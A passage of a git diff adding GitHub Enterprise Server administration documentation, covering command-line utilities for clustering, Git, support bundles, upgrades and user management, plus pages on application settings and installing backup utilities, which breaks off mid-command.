instance's state. + +```shell +ghe-motd +``` + +### ghe-nwo + +This utility returns a repository's name and owner based on the repository ID. + +```shell +ghe-nwo REPOSITORY_ID +``` + +### ghe-org-admin-promote + +Use this command to give organization owner privileges to users with site admin privileges on the appliance, or to give organization owner privileges to any single user in a single organization. You must specify a user and/or an organization. The `ghe-org-admin-promote` command will always ask for confirmation before running unless you use the `-y` flag to bypass the confirmation. + +You can use these options with the utility: + +- The `-u` flag specifies a username. Use this flag to give organization owner privileges to a specific user. Omit the `-u` flag to promote all site admins to the specified organization. +- The `-o` flag specifies an organization. Use this flag to give owner privileges in a specific organization. Omit the `-o` flag to give owner permissions in all organizations to the specified site admin. +- The `-a` flag gives owner privileges in all organizations to all site admins. +- The `-y` flag bypasses the manual confirmation. + +This utility cannot promote a non-site admin to be an owner of all organizations. You can promote an ordinary user account to a site admin with [ghe-user-promote](#ghe-user-promote). + +Give organization owner privileges in a specific organization to a specific site admin + +```shell +ghe-org-admin-promote -u USERNAME -o ORGANIZATION +``` + +Give organization owner privileges in all organizations to a specific site admin + +```shell +ghe-org-admin-promote -u USERNAME +``` + +Give organization owner privileges in a specific organization to all site admins + +```shell +ghe-org-admin-promote -o ORGANIZATION +``` + +Give organization owner privileges in all organizations to all site admins + +```shell +ghe-org-admin-promote -a +``` + +### ghe-reactivate-admin-login + +Use this command to immediately unlock the {% data variables.enterprise.management_console %} after {% ifversion enterprise-authentication-rate-limits %}an account lockout. To configure authentication policies for {% data variables.location.product_location %}, see "[Configuring authentication policy rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-authentication-policy-rate-limits)".{% else %}10 failed login attempts in the span of 10 minutes.{% endif %} + +```shell +$ ghe-reactivate-admin-login +``` + + +### ghe-saml-mapping-csv + +This utility can help map SAML records. + +To create a CSV file containing all the SAML mapping for your {% data variables.product.product_name %} users: +```shell +$ ghe-saml-mapping-csv -d +``` + +To perform a dry run of updating SAML mappings with new values: +```shell +$ ghe-saml-mapping-csv -u -n -f /path/to/file +``` + +To update SAML mappings with new values: +```shell +$ ghe-saml-mapping-csv -u -f /path/to/file +``` + +### ghe-service-list + +This utility lists all of the services that have been started or stopped (are running or waiting) on your appliance. + +```shell +$ ghe-service-list +{% ifversion viewscreen-and-notebooks %} +active + - alambic + - alive + - aqueduct-lite + - authzd + - babeld + - codeload + - consul, process 17114 + - consul-template, process 19493 + - driftwood + - elasticsearch + - enterprise-manage-unicorn, process 9359 + - ghe-user-disk, process 2545 + - git-daemon + - github-env + - github-gitauth + - github-resqued + - github-stream-processors + - github-timerd + - github-unicorn + - gitrpcd + - governor + - gpgverify + - grafana-server, process 19314 + - graphite-web, process 20189 + - hookshot-go + - kafka-lite + - kredz + - lfs-server + - mail-replies + - memcached + - minio + - mysql + - nginx + - nomad, process 19562 + - pages + - postfix + - redis + - spokesd + - spokes-sweeper + - svnbridge + - token-scanning-api + - token-scanning-backfill-worker + - token-scanning-hydro-consumer + - token-scanning-incremental-worker + - token-scanning-udp-backfill-worker + - treelights + - turboscan + - viewscreen + +inactive + - wireguard +{% else %} +start/running + - github-resqued, process 12711 + - github-unicorn, process 12726 + - github-gitauth, process 12743 + - git-daemon, process 12755 + - babeld, process 12771 + - github-svn-proxy, process 12802 + - gist-unicorn, process 12832 + - gist-resqued, process 12881 + - render-unicorn, process 12939 + - hookshot-unicorn, process 13076 + - nodeload2, process 13192 + - slumlord-unicorn, process 13304 + - ghe-storage, process 2012 + - enterprise-manage-unicorn, process 2024 + - enterprise-manage-resque, process 2053 +stop/waiting + - ghe-replica-mode + {% endif %} +``` + +### ghe-set-password + +With `ghe-set-password`, you can set a new password to authenticate into the [{% data variables.enterprise.management_console %}](/enterprise/admin/guides/installation/accessing-the-management-console). + +```shell +ghe-set-password +``` + +### ghe-setup-network + +This utility allows you to configure the primary network interface. + +To enter visual mode, which will guide you through configuration of network settings: + +```shell +$ ghe-setup-network -v +``` + +Use the -h flag for additional options. + +### ghe-ssh-check-host-keys + +This utility checks the existing SSH host keys against the list of known leaked SSH host keys. + +```shell +$ ghe-ssh-check-host-keys +``` + +If a leaked host key is found the utility exits with status `1` and a message: +```shell +> One or more of your SSH host keys were found in the blacklist. +> Please reset your host keys using ghe-ssh-roll-host-keys. +``` + +If a leaked host key was not found, the utility exits with status `0` and a message: +```shell +> The SSH host keys were not found in the SSH host key blacklist. +> No additional steps are needed/recommended at this time. +``` + +### ghe-ssh-roll-host-keys + +This utility rolls the SSH host keys and replaces them with newly generated keys. + +```shell +$ sudo ghe-ssh-roll-host-keys +Proceed with rolling SSH host keys? This will delete the +existing keys in /etc/ssh/ssh_host_* and generate new ones. [y/N] + +# Press 'Y' to confirm deleting, or use the -y switch to bypass this prompt + +> SSH host keys have successfully been rolled. +``` + +### ghe-ssh-weak-fingerprints + +This utility returns a report of known weak SSH keys stored on the {% data variables.product.prodname_enterprise %} appliance. You can optionally revoke user keys as a bulk action. The utility will report weak system keys, which you must manually revoke in the [{% data variables.enterprise.management_console %}](/enterprise/admin/guides/installation/accessing-the-management-console). + +```shell +# Print a report of weak user and system SSH keys +$ ghe-ssh-weak-fingerprints + +# Revoke all weak user keys +$ ghe-ssh-weak-fingerprints --revoke +``` + +### ghe-ssl-acme + +This utility allows you to install a Let's Encrypt certificate on your {% data variables.product.prodname_enterprise %} appliance. For more information, see "[Configuring TLS](/enterprise/admin/guides/installation/configuring-tls)." + +You can use the `-x` flag to remove the ACME configuration. + +```shell +ghe-ssl-acme -e +``` + +### ghe-ssl-ca-certificate-install + +This utility allows you to install a custom root CA certificate on your {% data variables.product.prodname_enterprise %} server. The certificate must be in PEM format. Furthermore, if your certificate provider includes multiple CA certificates in a single file, you must separate them into individual files that you then pass to `ghe-ssl-ca-certificate-install` one at a time. + +Run this utility to add a certificate chain for S/MIME commit signature verification. For more information, see "[About commit signature verification](/enterprise/user/articles/about-commit-signature-verification/)." + +Run this utility when {% data variables.location.product_location %} is unable to connect to another server because the latter is using a self-signed SSL certificate or an SSL certificate for which it doesn't provide the necessary CA bundle. One way to confirm this is to run `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` from {% data variables.location.product_location %}. If the remote server's SSL certificate can be verified, your `SSL-Session` should have a return code of 0, as shown below. + +``` +SSL-Session: + Protocol : TLSv1 + Cipher : AES128-SHA + Session-ID: C794EBCC3CBC10F747C9AFC029C03C1048FC99CFC34D13D7444E0F267C58DF4C + Session-ID-ctx: + Master-Key: 02A7C47CFD6EEC87D3C710E9DD87390E04EF82DDD7514AE03127D5DC1945FC0CAEFB5395791AEA598667EFA61B9EA8C5 + Key-Arg : None + Start Time: 1394581597 + Timeout : 300 (sec) + Verify return code: 0 (ok) +``` + +If, on the other hand, the remote server's SSL certificate can *not* be verified, your `SSL-Session` should have a nonzero return code: + +``` +SSL-Session: + Protocol : TLSv1 + Cipher : AES128-SHA + Session-ID: 82CB288051A6DB66094C50A69CF1292AEE7E54C6B01B659B98AB336F8C33863E + Session-ID-ctx: + Master-Key: 01B025B2F764043A27919A8D1355AAECD8844FF0831B1D664042334790574A6F4025BAB085D4ED71D71AAB3091B849E5 + Key-Arg : None + Start Time: 1394581782 + Timeout : 300 (sec) + Verify return code: 27 (certificate not trusted) +``` + +You can use these additional options with the utility: +- The `-r` flag allows you to uninstall a CA certificate. +- The `-h` flag displays more usage information. + +```shell +ghe-ssl-ca-certificate-install -c CERTIFICATE_PATH +``` + +### ghe-ssl-certificate-setup + +This utility allows you to update an SSL certificate for {% data variables.location.product_location %}. + +For more information about this command or for additional options, use the `-h` flag. + +```shell +ghe-ssl-certificate-setup +``` + +### ghe-ssl-generate-csr + +This utility allows you to generate a private key and certificate signing request (CSR), which you can share with a commercial or private certificate authority to get a valid certificate to use with your instance. For more information, see "[Configuring TLS](/enterprise/admin/guides/installation/configuring-tls)." + +For more information about this command or for additional options, use the `-h` flag. + +```shell +ghe-ssl-generate-csr +``` + +### ghe-storage-extend + +Some platforms require this script to expand the user volume. For more information, see "[Increasing Storage Capacity](/enterprise/admin/guides/installation/increasing-storage-capacity/)". + +```shell +$ ghe-storage-extend +``` + +### ghe-version + +This utility prints the version, platform, and build of {% data variables.location.product_location %}. + +```shell +$ ghe-version +``` + +### ghe-webhook-logs + +This utility returns webhook delivery logs for administrators to review and identify any issues. + +```shell +ghe-webhook-logs +``` + +To show all failed hook deliveries in the past day: +{% ifversion ghes %} +```shell +ghe-webhook-logs -f -a YYYY-MM-DD +``` + +The date format should be `YYYY-MM-DD`, `YYYY-MM-DD HH:MM:SS`, or `YYYY-MM-DD HH:MM:SS (+/-) HH:M`. +{% else %} +```shell +ghe-webhook-logs -f -a YYYYMMDD +``` +{% endif %} + +To show the full hook payload, result, and any exceptions for the delivery: +{% ifversion ghes %} +```shell +ghe-webhook-logs -g DELIVERY_GUID +``` +{% else %} +```shell +ghe-webhook-logs -g DELIVERY_GUID -v +``` +{% endif %} + +## Clustering + +### ghe-cluster-status + +Check the health of your nodes and services in a cluster deployment of {% data variables.product.prodname_ghe_server %}. + +```shell +$ ghe-cluster-status +``` + +### ghe-cluster-support-bundle + +This utility creates a support bundle tarball containing important logs from each of the nodes in either a Geo-replication or Clustering configuration. + +By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the cluster support bundle directly to {% data variables.product.prodname_enterprise %} support. + +To create a standard bundle: +```shell +$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -o' > cluster-support-bundle.tgz +``` + +To create an extended bundle: +```shell +$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -x -o' > cluster-support-bundle.tgz +``` + +To send a bundle to {% data variables.contact.github_support %}: +```shell +$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -u' +``` + +To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket: +```shell +$ ssh -p 122 admin@HOSTNAME -- 'ghe-cluster-support-bundle -t TICKET_ID' +``` + +{% ifversion ghes %} +### ghe-cluster-failover + +Fail over from active cluster nodes to passive cluster nodes. For more information, see "[Initiating a failover to your replica cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)." + +```shell +ghe-cluster-failover +``` +{% endif %} + +### ghe-dpages + +This utility allows you to manage the distributed {% data variables.product.prodname_pages %} server. + +```shell +ghe-dpages +``` + +To show a summary of repository location and health: +```shell +ghe-dpages status +``` + +To evacuate a {% data variables.product.prodname_pages %} storage service before evacuating a cluster node: +```shell +ghe-dpages evacuate pages-server-UUID +``` + +### ghe-spokes + +This utility allows you to manage the three copies of each repository on the distributed git servers. + +```shell +ghe-spokes +``` + +To show a summary of repository location and health: + +```shell +ghe-spokes status +``` + +To show the servers in which the repository is stored: + +```shell +ghe-spokes route +``` + +To evacuate storage services on a cluster node: + +```shell +ghe-spokes server evacuate git-server-UUID +``` + +### ghe-storage + +This utility allows you to evacuate all storage services before evacuating a cluster node. + +```shell +ghe-storage evacuate storage-server-UUID +``` + +## Git + +### ghe-btop + +A `top`-like interface for current Git operations. + +```shell +ghe-btop [ | --help | --usage ] +``` + +#### ghe-governor + +This utility helps to analyze Git traffic. It queries _Governor_ data files, located under `/data/user/gitmon`. {% data variables.product.company_short %} holds one hour of data per file, retained for two weeks. For more information, see [Analyzing Git traffic using Governor](https://github.community/t/analyzing-git-traffic-using-governor/13516) in {% data variables.product.prodname_github_community %}. + +```bash +ghe-governor [options] +``` + +``` +ghe-governor -h +Usage: ghe-governor [-h] args + +OPTIONS: + -h | --help Show this message. + +Valid subcommands are: + aggregate Find the top (n) groups of queries for a grouping function and metric + health Summarize all recent activity on one or more servers + top Find the top (n) queries for a given metric + dump Dump individual operations + test-quotas Check quota information + +Try ghe-governor --help for more information on the arguments each subcommand takes. +``` + +### ghe-repo + +This utility allows you to change to a repository's directory and open an interactive shell as the `git` user. You can perform manual inspection or maintenance of a repository via commands like `git-*` or `git-nw-*`. + +```shell +ghe-repo USERNAME/REPONAME +``` + +### ghe-repo-gc + +This utility manually repackages a repository network to optimize pack storage. If you have a large repository, running this command may help reduce its overall size. {% data variables.product.prodname_enterprise %} automatically runs this command throughout your interaction with a repository network. + +You can add the optional `--prune` argument to remove unreachable Git objects that aren't referenced from a branch, tag, or any other ref. This is particularly useful for immediately removing [previously expunged sensitive information](/enterprise/user/articles/remove-sensitive-data/). + +{% warning %} + +**Warning**: Before using the `--prune` argument to remove unreachable Git objects, put {% data variables.location.product_location %} into maintenance mode, or ensure all repositories within the same repository network are locked. For more information, see "[Enabling and scheduling maintenance mode](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode)." + +{% endwarning %} + +```shell +ghe-repo-gc USERNAME/REPONAME +``` + +## {% data variables.product.prodname_actions %} + +### ghe-actions-check + +This utility checks that all services for {% data variables.product.prodname_actions %} are healthy. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server)" and "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise)." + +```shell +ghe-actions-check +``` + +### ghe-actions-precheck + +This utility tests the blob storage configuration for {% data variables.product.prodname_actions %} on {% data variables.location.product_location %}. You can use the utility to verify your storage configuration before you enable {% data variables.product.prodname_actions %} for your instance. + +For more information about the configuration of {% data variables.product.prodname_actions %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server)." + +```shell +ghe-actions-precheck -p [PROVIDER] -cs ["CONNECTION-STRING"] +``` + +If your storage system is configured correctly, you'll see the following output. + +``` +All Storage tests passed +``` + +## Import and export + +### ghe-migrator + +`ghe-migrator` is a hi-fidelity tool to help you migrate from one GitHub instance to another. You can consolidate your instances or move your organization, users, teams, and repositories from GitHub.com to {% data variables.product.prodname_enterprise %}. + +For more information, please see our guides on [migrating data to and from your enterprise](/enterprise/admin/user-management/migrating-data-to-and-from-your-enterprise/). + +### git-import-detect + +Given a URL, detect which type of source control management system is at the other end. During a manual import this is likely already known, but this can be very useful in automated scripts. +```shell +git-import-detect +``` + +### git-import-hg-raw + +This utility imports a Mercurial repository to this Git repository. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." +```shell +git-import-hg-raw +``` + +### git-import-svn-raw + +This utility imports Subversion history and file data into a Git branch. This is a straight copy of the tree, ignoring any trunk or branch distinction. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." +```shell +git-import-svn-raw +``` + +### git-import-tfs-raw + +This utility imports from Team Foundation Version Control (TFVC). For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." +```shell +git-import-tfs-raw +``` + +### git-import-rewrite + +This utility rewrites the imported repository. This gives you a chance to rename authors and, for Subversion and TFVC, produces Git branches based on folders. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." +```shell +git-import-rewrite +``` + +{% ifversion ghes > 3.3 %} + +## Security + +### ghe-find-insecure-git-operations + +This utility searches your instance's logs and identifies Git operations over SSH that use insecure algorithms or hash functions, including DSA, RSA-SHA-1, HMAC-SHA-1, and CBC ciphers. You can use the output to support each client's transition to a more secure SSH connection. For more information, see [{% data variables.product.prodname_blog %}](https://github.blog/2022-06-28-improving-git-protocol-security-on-github-enterprise-server){% ifversion ghes < 3.6 %}.{% elsif ghes > 3.5 %} and "[Configuring SSH connections to your instance](/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance)."{% endif %} + +```shell +ghe-find-insecure-git-operations +``` + +{% endif %} + +## Support + +### ghe-diagnostics + +This utility performs a variety of checks and gathers information about your installation that you can send to support to help diagnose problems you're having. + +Currently, this utility's output is similar to downloading the diagnostics info in the {% data variables.enterprise.management_console %}, but may have additional improvements added to it over time that aren't available in the web UI. For more information, see "[Creating and sharing diagnostic files](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files)." + +```shell +ghe-diagnostics +``` + +### ghe-support-bundle + +{% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %} +This utility creates a support bundle tarball containing important logs from your instance. + +By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the support bundle directly to {% data variables.product.prodname_enterprise %} support. + +To create a standard bundle: +```shell +$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o' > support-bundle.tgz +``` + +To create an extended bundle: +```shell +$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -x -o' > support-bundle.tgz +``` + +To send a bundle to {% data variables.contact.github_support %}: +```shell +$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -u' +``` + +To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket: + +```shell +$ ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -t TICKET_ID' +``` + +### ghe-support-upload + +This utility sends information from your appliance to {% data variables.product.prodname_enterprise %} support. You can either specify a local file, or provide a stream of up to 100MB of data via `STDIN`. The uploaded data can optionally be associated with a support ticket. + +To send a file to {% data variables.contact.github_support %} and associate the file with a ticket: +```shell +ghe-support-upload -f FILE_PATH -t TICKET_ID +``` + +To upload data via `STDIN` and associating the data with a ticket: +```shell +ghe-repl-status -vv | ghe-support-upload -t TICKET_ID -d "Verbose Replication Status" +``` + +In this example, `ghe-repl-status -vv` sends verbose status information from a replica appliance. You should replace `ghe-repl-status -vv` with the specific data you'd like to stream to `STDIN`, and `Verbose Replication Status` with a brief description of the data. {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} + +## Upgrading {% data variables.product.prodname_ghe_server %} + +### ghe-upgrade + +This utility installs or verifies an upgrade package. You can also use this utility to roll back a patch release if an upgrade fails or is interrupted. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)." + +To verify an upgrade package: +```shell +ghe-upgrade --verify UPGRADE-PACKAGE-FILENAME +``` + +To install an upgrade package: +```shell +ghe-upgrade UPGRADE-PACKAGE-FILENAME +``` + +{% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %} + +### ghe-upgrade-scheduler + +This utility manages scheduled installation of upgrade packages. You can show, create new, or remove scheduled installations. You must create schedules using cron expressions. For more information, see the [Cron Wikipedia entry](https://en.wikipedia.org/wiki/Cron#Overview). + +To schedule a new installation for a package: +```shell +$ ghe-upgrade-scheduler -c "0 2 15 12 *" UPGRADE-PACKAGE-FILENAME +``` + +To show scheduled installations for a package: +```shell +$ ghe-upgrade-scheduler -s UPGRADE PACKAGE FILENAME +> 0 2 15 12 * /usr/local/bin/ghe-upgrade -y -s UPGRADE-PACKAGE-FILENAME > /data/user/common/UPGRADE-PACKAGE-FILENAME.log 2>&1 +``` + +To remove scheduled installations for a package: +```shell +$ ghe-upgrade-scheduler -r UPGRADE PACKAGE FILENAME +``` + +### ghe-update-check + +This utility will check to see if a new patch release of {% data variables.product.prodname_enterprise %} is available. If it is, and if space is available on your instance, it will download the package. By default, it's saved to */var/lib/ghe-updates*. An administrator can then [perform the upgrade](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/). + +A file containing the status of the download is available at */var/lib/ghe-updates/ghe-update-check.status*. + +To check for the latest {% data variables.product.prodname_enterprise %} release, use the `-i` switch. + +```shell +$ ssh -p 122 admin@HOSTNAME -- 'ghe-update-check' +``` + +## User management + +### ghe-license-usage + +This utility exports a list of the installation's users in JSON format. If your instance is connected to {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} uses this information for reporting licensing information to {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %} ](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." + +By default, the list of users in the resulting JSON file is encrypted. Use the `-h` flag for more options. + +```shell +ghe-license-usage +``` + +### ghe-org-membership-update + +This utility will enforce the default organization membership visibility setting on all members in your instance. For more information, see "[Configuring visibility for organization membership](/enterprise/admin/guides/user-management/configuring-visibility-for-organization-membership)." Setting options are `public` or `private`. + +```shell +ghe-org-membership-update --visibility=SETTING +``` + +### `ghe-user-csv` + +This utility exports a list of all the users in the installation into CSV format. The CSV file includes the email address, which type of user they are (e.g., admin, user), how many repositories they have, how many SSH keys, how many organization memberships, last logged IP address, etc. Use the `-h` flag for more options. + +```shell +ghe-user-csv -o > users.csv +``` + +### ghe-user-demote + +This utility demotes the specified user from admin status to that of a regular user. We recommend using the web UI to perform this action, but provide this utility in case the `ghe-user-promote` utility is run in error and you need to demote a user again from the CLI. + +```shell +ghe-user-demote USERNAME +``` + +### ghe-user-promote + +This utility promotes the specified user account to a site administrator. + +```shell +ghe-user-promote USERNAME +``` + +### ghe-user-suspend + +This utility suspends the specified user, preventing them from logging in, pushing, or pulling from your repositories. + +```shell +ghe-user-suspend USERNAME +``` + +### ghe-user-unsuspend + +This utility unsuspends the specified user, granting them access to login, push, and pull from your repositories. + +```shell +ghe-user-unsuspend USERNAME +``` diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-applications.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-applications.md new file mode 100644 index 000000000000..07a9b2af5d0e --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-applications.md @@ -0,0 +1,25 @@ +--- +title: Configuring applications +intro: 'You can configure internal application settings for {% data variables.location.product_location %}.' +redirect_from: + - /enterprise/admin/installation/configuring-applications + - /enterprise/admin/configuration/configuring-applications + - /admin/configuration/configuring-applications +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals +--- +## Adjusting image caching + +You can choose the amount of time that {% data variables.location.product_location %} caches avatars. When you increase the cache time, you increase the amount of time a user's avatar will take to load. Configuring the cache time with too low a value can overload {% data variables.location.product_location %} work processes. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +3. In the left sidebar, click **Applications**. +![Applications tab in the settings sidebar](/assets/images/enterprise/management-console/sidebar-applications.png) +4. Under "Avatar image cache time (seconds)", type the number of seconds that you would like {% data variables.location.product_location %} to cache avatar images. +![Avatar image caching form field](/assets/images/enterprise/management-console/add-image-caching-value-field.png) +{% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md new file mode 100644 index 000000000000..a8fecf4017a4 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md @@ -0,0 +1,257 @@ +--- +title: Configuring backups on your appliance +shortTitle: Configuring backups +redirect_from: + - /enterprise/admin/categories/backups-and-restores + - /enterprise/admin/articles/backup-and-recovery + - /enterprise/admin/articles/backing-up-github-enterprise + - /enterprise/admin/articles/restoring-github-enterprise + - /enterprise/admin/articles/backing-up-repository-data + - /enterprise/admin/articles/restoring-enterprise-data + - /enterprise/admin/articles/restoring-repository-data + - /enterprise/admin/articles/backing-up-enterprise-data + - /enterprise/admin/guides/installation/backups-and-disaster-recovery + - /enterprise/admin/installation/configuring-backups-on-your-appliance + - /enterprise/admin/configuration/configuring-backups-on-your-appliance + - /admin/configuration/configuring-backups-on-your-appliance +intro: 'As part of a disaster recovery plan, you can protect production data on {% data variables.location.product_location %} by configuring automated backups.' +versions: + ghes: '*' +type: how_to +topics: + - Backups + - Enterprise + - Fundamentals + - Infrastructure +--- +## About {% data variables.product.prodname_enterprise_backup_utilities %} + +{% data variables.product.prodname_enterprise_backup_utilities %} is a backup system you install on a separate host, which takes backup snapshots of {% data variables.location.product_location %} at regular intervals over a secure SSH network connection. You can use a snapshot to restore an existing {% data variables.product.prodname_ghe_server %} instance to a previous state from the backup host. + +Only data added since the last snapshot will transfer over the network and occupy additional physical storage space. To minimize performance impact, backups are performed online under the lowest CPU/IO priority. You do not need to schedule a maintenance window to perform a backup. + +Major releases and version numbers for {% data variables.product.prodname_enterprise_backup_utilities %} align with feature releases of {% data variables.product.product_name %}. We support the four most recent versions of both products. For more information, see "[{% data variables.product.product_name %} releases](/admin/all-releases)." + +For more detailed information on features, requirements, and advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. + +## Prerequisites + +To use {% data variables.product.prodname_enterprise_backup_utilities %}, you must have a Linux or Unix host system separate from {% data variables.location.product_location %}. + +You can also integrate {% data variables.product.prodname_enterprise_backup_utilities %} into an existing environment for long-term permanent storage of critical data. + +We recommend that the backup host and {% data variables.location.product_location %} be geographically distant from each other. This ensures that backups are available for recovery in the event of a major disaster or network outage at the primary site. + +Physical storage requirements will vary based on Git repository disk usage and expected growth patterns: + +| Hardware | Recommendation | +| -------- | --------- | +| **vCPUs** | 2 | +| **Memory** | 2 GB | +| **Storage** | Five times the primary instance's allocated storage | + +More resources may be required depending on your usage, such as user activity and selected integrations. + +For more information, see [{% data variables.product.prodname_enterprise_backup_utilities %} requirements](https://github.com/github/backup-utils/blob/master/docs/requirements.md) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. + +## Installing {% data variables.product.prodname_enterprise_backup_utilities %} + +To install {% data variables.product.prodname_enterprise_backup_utilities %} on your backup host, we recommend cloning the project's Git repository. This approach allows you to fetch new releases directly using Git, and your existing backup configuration file, `backup.config`, will be preserved when installing a new version. + +Alternatively, if the host machine can't access the internet, you can download each {% data variables.product.prodname_enterprise_backup_utilities %} release as a compressed archive, then extract and install the contents. For more information, see [Getting started](https://github.com/github/backup-utils/blob/master/docs/getting-started.md) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. + +Backup snapshots are written to the disk path set by the `GHE_DATA_DIR` data directory variable in your `backup.config` file. Snapshots need to be stored on a filesystem which supports symbolic and hard links. + +{% note %} + +**Note:** We recommend ensuring your snapshots are not kept in a subdirectory of the {% data variables.product.prodname_enterprise_backup_utilities %} installation directory, to avoid inadvertently overwriting your data directory when upgrading {% data variables.product.prodname_enterprise_backup_utilities %} versions. + +{% endnote %} + +1. To clone the [{% data variables.product.prodname_enterprise_backup_utilities %} project repository](https://github.com/github/backup-utils/) to a local directory on your backup host, run the following command. + + ``` + $ git clone https://github.com/github/backup-utils.git /path/to/target/directory/backup-utils + ``` +1. To change into the local repository directory, run the following command. + + ``` + cd backup-utils + ``` +{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-update-repo %} +1. To copy the included `backup.config-example` file to `backup.config`, run the following command. + + ```shell + cp backup.config-example backup.config + ``` +1. To customize your configuration, edit `backup.config` in a text editor. + 1. Set the `GHE_HOSTNAME` value to your primary {% data variables.product.prodname_ghe_server %} instance's hostname or IP address. + + {% note %} + + **Note:** If {% data variables.location.product_location %} is deployed as a cluster or in a high availability configuration using a load balancer, the `GHE_HOSTNAME` can be the load balancer hostname, as long as it allows SSH access (on port 122) to {% data variables.location.product_location %}. + + To ensure a recovered appliance is immediately available, perform backups targeting the primary instance even in a geo-replication configuration. + + {% endnote %} + 1. Set the `GHE_DATA_DIR` value to the filesystem location where you want to store backup snapshots. We recommend choosing a location on the same filesystem as your backup host, but outside of where you cloned the Git repository in step 1. +1. To grant your backup host access to your instance, open your primary instance's settings page at `http(s)://HOSTNAME/setup/settings` and add the backup host's SSH key to the list of authorized SSH keys. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh#enabling-access-to-the-administrative-shell-via-ssh)." +1. On your backup host, verify SSH connectivity with {% data variables.location.product_location %} with the `ghe-host-check` command. + + ```shell + ./bin/ghe-host-check + ``` +1. To create an initial full backup, run the following command. + + ```shell + ./bin/ghe-backup + ``` + +For more information on advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. + +## Upgrading {% data variables.product.prodname_enterprise_backup_utilities %} + +When upgrading {% data variables.product.prodname_enterprise_backup_utilities %}, you must choose a release that will work with your current version of {% data variables.product.product_name %}. Your installation of {% data variables.product.prodname_enterprise_backup_utilities %} must be at least the same version as {% data variables.location.product_location %}, and cannot be more than two versions ahead. For more information, see [{% data variables.product.prodname_ghe_server %} version requirements](https://github.com/github/backup-utils/blob/master/docs/requirements.md#github-enterprise-server-version-requirements) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. +You can upgrade {% data variables.product.prodname_enterprise_backup_utilities %} in a Git repository by fetching and checking out the latest changes. + +Alternatively, if you don't use a Git repository for your installation, you can extract a new archive into place, or you can change your approach to use a Git repository instead. + +### Verifying the installation type + +You can verify the installation method for {% data variables.product.prodname_enterprise_backup_utilities %} and determine the best way to upgrade your installation. + +{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-directory %} +1. To check if a valid working directory exists inside a Git repository, run the following command. + + ``` + git rev-parse --is-inside-work-tree 